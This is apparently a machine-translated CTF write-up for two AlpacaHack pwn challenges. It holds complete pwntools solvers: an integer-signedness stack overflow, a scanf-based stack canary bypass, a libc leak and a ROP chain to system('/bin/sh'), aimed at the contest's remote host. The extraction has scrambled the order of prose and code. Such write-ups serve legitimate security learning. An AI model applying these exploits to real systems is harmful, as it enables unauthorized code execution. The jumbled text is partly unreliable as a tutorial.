\n\nThis page has been machine-translated from the original page.
\n
I finally wrote the long-postponed writeup for AlpacaHack Round 1 (Pwn).
\nI ran out of energy, so I will cover the remaining two challenges another time.
\nReference: Challenges - AlpacaHack Round 1 (Pwn)
\n\n\n\nA service for reachability check.
\n
The challenge provided C source code and an executable binary.
\nFirst, I checked the binary’s protection mechanisms.
\nWhile looking for a way to bypass the Reference: c - Why is abs(INT_MIN) still -2147483648? - Stack Overflow In I ultimately obtained the flag with the following solver. This confirmed that the correct flag was Stack canary makes me feel more secure. As in the previous challenge, an executable binary and source code were provided. This time, however, stack canaries appear to be enabled in the binary. Since there is no size validation, exploiting the buffer overflow itself is easy, but we still need to bypass the canary. At first, however, I could not find a way to exploit the buffer overflow without either leaking or corrupting the canary. Reading the official writeup, I learned that the key point is that the return value of Reference: Writeup for AlpacaHack Round 1 (Pwn) - Let’s Do CTF In glibc 2.35, which this challenge binary uses, This function internally uses Reference: glibc/stdio-common/scanf.c at glibc-2.35 · bminor/glibc The Since Reference: glibc/stdio-common/vfscanf-internal.c at glibc-2.35 · bminor/glibc Reference: scanf(3) - Linux manual page For I verified this locally with the following program: when a character that does not match the format is entered, it remains in Below is the state of You can see that the character I entered remains in You can also see that when invalid input causes an error, the buffer is not overwritten. An interesting detail here is that sign characters such as Because this challenge fills the buffer one byte at a time using the code below, we can exploit this behavior to use the buffer overflow without overwriting the canary bytes. Based on the above, I successfully bypassed the canary with the following payload. After that, all that remained was to build a working ROP chain and get a shell. To get a shell with ROP, I next needed a way to leak a libc address. At first I considered leaking it via ROP, but looking more carefully, the line Using this, I was able to obtain the address of After successfully bypassing the canary and leaking a libc address, I exploited the buffer overflow to execute a ROP chain, obtained a shell, and then got the flag. The final solver I wrote is shown below. One thing that tripped me up was that when I tried to overwrite the buffer via Separating the input values with spaces made it parse them correctly. I finally got around to writing this long-delayed writeup for AlpacaHack Round 1 (Pwn). I had planned to write up the remaining two challenges as well, but I ran out of energy, so for now I only covered these two.abs call in get_size, I found that, as shown below, it cannot correctly compute the absolute value when given signed INT_MIN.get_data, however, the size is treated as an unsigned int rather than an int, so by supplying signed INT_MIN (-2147483648) as input, it becomes possible to push more than 0x100 bytes of data onto the stack.from pwn import *\n\ncontext.arch = \"amd64\"\ncontext.endian = \"little\"\n\n# Set target\nTARGET_PATH = \"./echo\"\nexe = ELF(TARGET_PATH)\n\ntarget = remote(\"34.170.146.252\", 17360, ssl=False)\n\n# Exploit\n# https://stackoverflow.com/questions/11243014/why-is-absint-min-still-2147483648\ntarget.recvuntil(b\"Size: \")\npayload = b\"-2147483648\"\ntarget.sendline(payload)\n\ntarget.recvuntil(b\"Data: \")\npayload = flat(\n b\"A\"*0x110,\n b\"B\"*8,\n 0x4011f6\n)\ntarget.sendline(payload)\n\n# Finish exploit\ntarget.interactive()\ntarget.clean()Alpaca{s1Gn3d_4Nd_uNs1gn3d_s1zEs_c4n_cAu5e_s3ri0us_buGz}.hexecho(Pwn)
\n\n
\nscanf(\"%02hhx\", buf + i); is never checked.scanf Specifications and How to Exploit Them
\nscanf is implemented as follows.__vfscanf_internal and returns its done value.int __scanf (const char *format, ...)\n{\n va_list arg;\n int done;\n\n va_start (arg, format);\n done = __vfscanf_internal(stdin, format, arg, 0);\n va_end (arg);\n\n return done;\n}vfscanf-internal.c file is roughly 3,000 lines long, and honestly I did not feel like reading all of it, but I did notice several places where ++done is executed in code that appears to perform reads.scanf returns the number of items successfully read, it also seems likely that the lines immediately before ++done are where the actual reads occur.scanf, when the input does not match the format string, it returns an input error and leaves the offending data in the input stream.stdin afterward.#include <stdio.h>\n\nint main() {\n setbuf(stdin, NULL);\n setbuf(stdout, NULL);\n char buf[100];\n int ret;\n for(int i = 0; i < 9; i++) {\n buf[i] = '-';\n }\n for(int i = 0; i < 9; i++) {\n ret = scanf(\"%02hhx\", buf+i);\n printf(\"BUF ==> %c\\n\", buf[i]);\n printf(\"RET ==> %d\\n\", ret);\n }\n return 0;\n}stdin after entering a character that does not match the format.stdin even after calling scanf.+ and - can be interpreted as hexadecimal input, but they do not satisfy the %02hhx format and therefore cause an input error. This lets us consume data from the input stream while skipping scanf’s write into the buffer.void get_hex(char *buf, unsigned size) {\n for (unsigned i = 0; i < size; i++) scanf(\"%02hhx\", buf + i);\n}Bypassing the Canary
\npayload = flat(\n b\"+\"*0x118,\n b\"42\"*0x100\n)\n\n# Exploit\ntarget.recvuntil(b\"Size: \")\ntarget.sendline(str(0x118 + (0x100//2)).encode())\n\ntarget.recvuntil(b\"Data (hex): \")\ntarget.sendline(payload)Leaking libc
\nprintf(\"%02hhx \", (unsigned char)buf[i]); simply prints the contents of the stack.libc_start_main_ret from the dumped stack.Exploit
\nscanf(\"%02hhx\", buf + i);, giving input such as 22134000 somehow caused it to be written as 02 02 13 40.from pwn import *\n\n# Set context\n# context.log_level = \"debug\"\ncontext.arch = \"amd64\"\ncontext.endian = \"little\"\ncontext.word_size = 64\ncontext.terminal = [\"/mnt/c/Windows/system32/cmd.exe\", \"/c\", \"start\", \"wt.exe\", \"-w\", \"0\", \"sp\", \"-s\", \".75\", \"-d\", \".\", \"wsl.exe\", '-d', \"Ubuntu\", \"bash\", \"-c\"]\n\n# Set gdb script\ngdbscript = f\"\"\"\nb *0x401321\ncontinue\n\"\"\"\n\n# Set target\nTARGET_PATH = \"./hexecho\"\nexe = ELF(TARGET_PATH)\n\n# Run program\nis_gdb = True\nis_gdb = False\nif is_gdb:\n target = gdb.debug(TARGET_PATH, aslr=False, gdbscript=gdbscript)\nelse:\n target = remote(\"34.170.146.252\", 29181, ssl=False)\n # target = process(TARGET_PATH)\n\nrop_ret = \" \".join([f\"{x:0{2}X}\" for x in p64(0x401370)]).encode()\n\npayload = b\"+\"*0x118\npayload += b\" \"\npayload += rop_ret\npayload += b\" \"\npayload += \" \".join([f\"{x:0{2}X}\" for x in p64(0x401322)]).encode()\npayload += b\"+\"*0x8\n\n# Exploit\ntarget.recvuntil(b\"Size: \")\ntarget.sendline(str(0x118+8+8+8).encode())\n\ntarget.recvuntil(b\"Data (hex): \")\ntarget.sendline(payload)\n\nr = target.recvline_startswith(\"Received\").decode().split(\" \")[1:-1]\n\nlibc_start_main_ret = int(\"0x\" + \"\".join(r[296:296+8][::-1]),16)\nlibc_base = libc_start_main_ret - 0x29d90\nprint(hex(libc_start_main_ret))\n\n\n# Stage 2\nrop_str_bin_sh = \" \".join([f\"{x:0{2}X}\" for x in p64(libc_base+0x1d8678)]).encode()\nrop_pop_rdi_ret = \" \".join([f\"{x:0{2}X}\" for x in p64(libc_base+0x1bbea1)]).encode()\nrop_system = \" \".join([f\"{x:0{2}X}\" for x in p64(libc_base+0x50d70)]).encode()\n\npayload = b\"+\"*0x118\npayload += b\" \"\npayload += rop_ret\npayload += b\" \"\npayload += rop_pop_rdi_ret\npayload += b\" \"\npayload += rop_str_bin_sh\npayload += b\" \"\npayload += rop_system\npayload += b\"+\"*0x30\n\ntarget.recvuntil(b\"Size: \")\ntarget.sendline(str(0x118 + 0x30).encode())\n\ntarget.recvuntil(b\"Data (hex): \")\ntarget.sendline(payload)\n\n# Finish exploit\ntarget.interactive()\ntarget.clean()Summary
\n